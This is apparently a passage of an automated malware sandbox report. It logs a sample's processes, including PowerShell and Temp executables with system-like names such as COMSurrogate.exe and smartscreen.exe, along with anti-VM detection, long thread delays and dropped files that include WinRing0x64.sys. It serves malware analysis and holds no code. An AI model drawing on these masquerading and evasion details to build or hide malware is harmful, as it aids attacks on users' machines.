                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX

                              Malware Analysis System Evasion

                              barindex
                              Yara detected AntiVM3
                              Source: Yara matchFile source: 0000001D.00000002.3728956460.000000000367D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeMemory allocated: 1830000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeMemory allocated: 34E0000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeMemory allocated: 3310000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeMemory allocated: 212721C0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeMemory allocated: 21273C00000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMemory allocated: 15A6FB40000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMemory allocated: 15A71540000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeMemory allocated: 16294490000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeMemory allocated: 162ADFB0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMemory allocated: 1BA06C40000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMemory allocated: 1BA20610000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeMemory allocated: 20644E90000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeMemory allocated: 2065E7B0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMemory allocated: 133C0630000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMemory allocated: 133DA0B0000 memory reserve | memory write watch
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comWindow / User API: threadDelayed 5020Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeWindow / User API: threadDelayed 6230Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeWindow / User API: threadDelayed 3473Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeWindow / User API: threadDelayed 5349
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeWindow / User API: threadDelayed 4419
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeWindow / User API: threadDelayed 2462
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeWindow / User API: threadDelayed 7286
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5290
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2555
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5103
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1633
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeWindow / User API: threadDelayed 6541
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeWindow / User API: threadDelayed 3276
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeWindow / User API: threadDelayed 3645
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeWindow / User API: threadDelayed 6121
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\asm\WinRing0x64.sysJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\asm\mi.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrAPI coverage: 4.8 %
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.com TID: 5936Thread sleep time: -50200s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe TID: 5340Thread sleep time: -922337203685477s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe TID: 988Thread sleep time: -13835058055282155s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe TID: 5340Thread sleep time: -922337203685477s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep count: 36 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -33204139332677172s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -100000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99870s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 7112Thread sleep count: 5349 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99719s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99534s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99399s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99295s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99172s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -99063s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 2608Thread sleep count: 4419 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98938s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98810s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98685s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98563s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98453s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98344s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -98235s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97951s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97828s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97719s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97594s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97485s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97360s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97239s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -97094s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96963s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96848s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96731s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96622s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96500s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96389s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96273s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96157s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -96047s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -95935s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -95827s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -95706s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -95321s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -95201s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -95078s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94969s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94859s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94750s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94640s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94531s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94391s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94281s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94172s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -94062s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -93953s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -93835s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -93719s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -93610s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -93500s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4132Thread sleep time: -93390s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 4852Thread sleep count: 2462 > 30
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 4852Thread sleep time: -2462000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 5660Thread sleep count: 250 > 30
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 5660Thread sleep time: -250000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 4852Thread sleep count: 7286 > 30
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 4852Thread sleep time: -7286000s >= -30000s
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 712Thread sleep count: 5290 > 30
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5916Thread sleep time: -4611686018427385s >= -30000s
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5920Thread sleep count: 2555 > 30
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7136Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1528Thread sleep count: 5103 > 30
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1528Thread sleep count: 1633 > 30
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5344Thread sleep time: -8301034833169293s >= -30000s
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1396Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep count: 33 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -30437127721620741s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -100000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 1256Thread sleep count: 6541 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 1256Thread sleep count: 3276 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99875s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99761s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99635s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99519s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99370s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99220s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -99094s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98969s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98859s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98749s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98633s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98531s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98422s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98312s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98191s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -98062s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97951s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97844s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97734s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97625s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97516s >= -30000s
